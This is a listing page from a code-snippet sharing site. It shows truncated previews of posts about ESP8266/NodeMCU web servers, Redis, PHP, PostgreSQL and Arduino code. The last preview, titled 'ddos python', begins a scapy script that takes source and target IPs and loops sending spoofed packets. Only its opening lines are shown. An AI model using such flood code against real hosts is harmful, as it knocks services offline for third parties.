What do you want to save?
Add Code snippet
New code examples
-
Other 2021-10-21 08:38:20
Intelligent water flow sensor with ESP32
#include <ESP8266WiFi.h> //Library can be download below #include <WiFiClient.h> //Library can be downloaded below #include <ESP8266WebServer.h> //Library can be downloaded below #include <PubSubClient.h> int sensorPin1 = 5... Add solution -
C++ 2021-10-20 18:01:14
nodemcu web server slider
// Import required libraries #include <ESP8266WiFi.h> #include <ESPAsyncTCP.h> #include <ESPAsyncWebServer.h> // Replace with your network credentials const char* ssid = "REPLACE_WITH_YOUR_SSID"; const char* password = "R... Add solution -
Javascript 2021-10-20 17:48:07
how to get MAC id of nodemcu
/* * Circuits4you.com * Get MAC Address of ESP8266 in Arduino IDE */ #include <ESP8266WiFi.h> const char* wifiName = "circuits4you.com"; const char* wifiPass = "your_password"; // the setup function runs once when you pre... Add solution -
Other 2021-10-19 09:36:08
redis flushall
const redis = require('redis') const redisURL = 'redis://${IP ADDRESS}' let redisClient = redis.createClient(redisURL) const util = require('util') //standard library contains "promisify" redisClient.hget = util.promisify(redisClient.hget); //... Add solution -
PHP 2021-10-18 21:28:03
get user ip in php
The simplest way to collect the Client/Visitor IP address using PHP is the REMOTE_ADDR. Pass the 'REMOTE_ADDR' in PHP $_SERVER variable. It will return the IP address of the visitor who is currently viewing the webpage. Get the IP address of the website ... Add solution -
Javascript 2021-10-14 02:55:09
nodejs postgresql local connection
const pgp = require('pg-promise')(/* initialization options */); const cn = { host: 'localhost', // server name or IP address; port: 5432, database: 'myDatabase', user: 'myUser', password: 'myPassword' }; // alternative: // var cn = ... Add solution -
C 2021-10-13 19:30:03
arduino ethernet shield webserver
#include <Ethernet.h> #include<SPI.h> //CHANGE MAC ADRESS FROM YOUR STICKER ON THE MODULE!!!!!!!!!! byte mac[] = {0011, 002B, 003C, 004D, 005E, 0066}; //Define your mac address //CHANGE MAC ADRESS FROM YOUR STICKER ON THE MODULE!!!!!!!!!! Eth... Add solution -
C# 2021-10-13 05:00:07
how to create cpanel account in namecheap
How to create a cPanel account NOTE: cPanel can be created only on a Reseller, VPS or a Dedicated server. Other plans are provided only with one cPanel account. WHM allows you to create accounts for your clients quickly and easily in Account Functions se... Add solution -
Python 2021-10-11 01:49:02
ddos python
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: IP1 = IP(source_IP = sour... Add solution